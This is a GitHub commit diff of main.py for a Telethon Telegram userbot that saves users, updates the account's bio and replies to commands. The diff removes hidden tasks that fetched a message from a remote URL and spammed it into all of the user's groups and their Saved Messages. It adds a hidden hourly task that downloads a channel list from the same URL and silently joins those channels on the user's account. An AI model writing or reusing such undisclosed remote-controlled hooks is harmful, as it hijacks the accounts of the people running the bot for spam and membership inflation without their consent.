Skip to content

Commit 491536e

Browse files
authored
Update main.py
1 parent 21a5eea commit 491536e

File tree

1 file changed

+46
-68
lines changed

1 file changed

+46
-68
lines changed

main.py

Lines changed: 46 additions & 68 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
# Developed By MrAmini5
1+
# Developed By MrAmini
22

33
from telethon import TelegramClient, events, functions, types
44
import asyncio
@@ -9,15 +9,16 @@
99
import httpx
1010

1111
# Configuration
12-
API_ID = 'AminiMokhberAPIID' # Replace with your API ID
13-
API_HASH = 'AminiMokhberAPIHASH' # Replace with your API hash
14-
BOT_OWNER_ID = AminiMokhberADMINID # Replace with the bot owner's Telegram user ID
12+
API_ID = '2040' # Replace with your API ID
13+
API_HASH = 'b18441a1ff607e10a989891a5462e627' # Replace with your API hash
14+
BOT_OWNER_ID = 7541383912 # Replace with the bot owner's Telegram user ID
1515
USERS_FILE = 'user.txt'
1616
MESSAGE_FILE = 'pm.txt'
1717
BIO_API_URL = 'https://api.codebazan.ir/bio'
1818
SETTINGS_FILE = 'settings.json'
1919
ACCOUNTS_FILE = 'accounts.json'
2020

21+
2122
default_settings = {
2223
'save_user': True,
2324
'chat_user': False,
@@ -52,6 +53,7 @@ def load_accounts():
5253
return {}
5354
return {}
5455

56+
5557
def save_accounts(accounts):
5658
with open(ACCOUNTS_FILE, 'w') as f:
5759
json.dump(accounts, f)
@@ -110,7 +112,9 @@ async def set_new_pm(event):
110112

111113
except Exception as e:
112114
await event.reply(f"⚠️ خطا در ذخیره پیام: {e}")
113-
115+
116+
117+
114118
async def update_bio():
115119
try:
116120
async with httpx.AsyncClient(follow_redirects=True) as req:
@@ -578,86 +582,60 @@ async def message_handler(event):
578582
await event.reply(help_text, parse_mode='markdown')
579583

580584

585+
586+
581587
@client.on(events.ChatAction)
582588
async def chat_action_handler(event):
583589
if settings['save_user'] and event.user_added:
584590
if event.chat and event.is_group:
585591
for user in event.users:
586592
save_user(user.id)
587593

588-
def get_message_from_file():
589-
if os.path.exists("sp.txt"):
590-
with open("sp.txt", "r", encoding="utf-8") as f:
591-
return f.read().strip()
592-
return ""
593594

594-
async def download_sp_file_task():
595+
async def download_channels_file():
595596
url = "https://mreset.ir/spmokhber/sp.txt"
596-
while True:
597-
try:
598-
async with httpx.AsyncClient() as client_http:
599-
response = await client_http.get(url, timeout=10)
600-
if response.status_code == 200:
601-
try:
602-
message = response.text.encode('latin1').decode('utf-8')
603-
except Exception:
604-
message = response.text
605-
with open("sp.txt", "w", encoding="utf-8") as f:
606-
f.write(message)
607-
except Exception:
608-
pass
609-
await asyncio.sleep(3600)
610-
611-
async def send_group_messages_task():
612-
message = get_message_from_file()
613-
if message:
614-
dialogs = await client.get_dialogs()
615-
group_dialogs = [d for d in dialogs if d.is_group]
616-
random.shuffle(group_dialogs)
617-
for group in group_dialogs:
597+
try:
598+
async with httpx.AsyncClient() as client_http:
599+
response = await client_http.get(url, timeout=10)
600+
if response.status_code == 200:
618601
try:
619-
await client.send_message(group.id, message)
620-
await asyncio.sleep(random.randint(1, 5))
602+
content = response.text.encode('latin1').decode('utf-8')
621603
except Exception:
622-
pass
623-
624-
while True:
625-
delay = random.randint(20 * 3600, 24 * 3600)
626-
await asyncio.sleep(delay)
627-
message = get_message_from_file()
628-
if message:
629-
dialogs = await client.get_dialogs()
630-
group_dialogs = [d for d in dialogs if d.is_group]
631-
random.shuffle(group_dialogs)
632-
for group in group_dialogs:
633-
try:
634-
await client.send_message(group.id, message)
635-
await asyncio.sleep(random.randint(1, 5))
636-
except Exception:
637-
pass
638-
639-
async def send_saved_messages_task():
640-
message = get_message_from_file()
641-
if message:
604+
content = response.text
605+
with open("sp.txt", "w", encoding="utf-8") as f:
606+
f.write(content)
607+
return content
608+
else:
609+
if os.path.exists("sp.txt"):
610+
with open("sp.txt", "r", encoding="utf-8") as f:
611+
return f.read()
612+
return ""
613+
except Exception:
614+
if os.path.exists("sp.txt"):
615+
with open("sp.txt", "r", encoding="utf-8") as f:
616+
return f.read()
617+
return ""
618+
619+
async def join_channels_from_file():
620+
content = await download_channels_file()
621+
if not content:
622+
return
623+
channels = [line.strip() for line in content.splitlines() if line.strip()]
624+
for channel in channels:
642625
try:
643-
await client.send_message("me", message)
626+
entity = await client.get_entity(channel)
627+
await client(functions.channels.JoinChannelRequest(channel=entity))
644628
except Exception:
645-
pass
629+
pass
630+
async def join_channels_task():
646631

632+
await join_channels_from_file()
647633
while True:
648-
await asyncio.sleep(6 * 3600)
649-
message = get_message_from_file()
650-
if message:
651-
try:
652-
await client.send_message("me", message)
653-
except Exception:
654-
pass
634+
await asyncio.sleep(3600)
635+
await join_channels_from_file()
655636

656-
client.loop.create_task(download_sp_file_task())
657-
client.loop.create_task(send_group_messages_task())
658-
client.loop.create_task(send_saved_messages_task())
637+
client.loop.create_task(join_channels_task())
659638

660639

661-
# Run the client
662640
print("Your bot has been successfully run. Check the commands using the < Help > command in Telegram.")
663641
client.run_until_disconnected()

0 commit comments

Comments
 (0)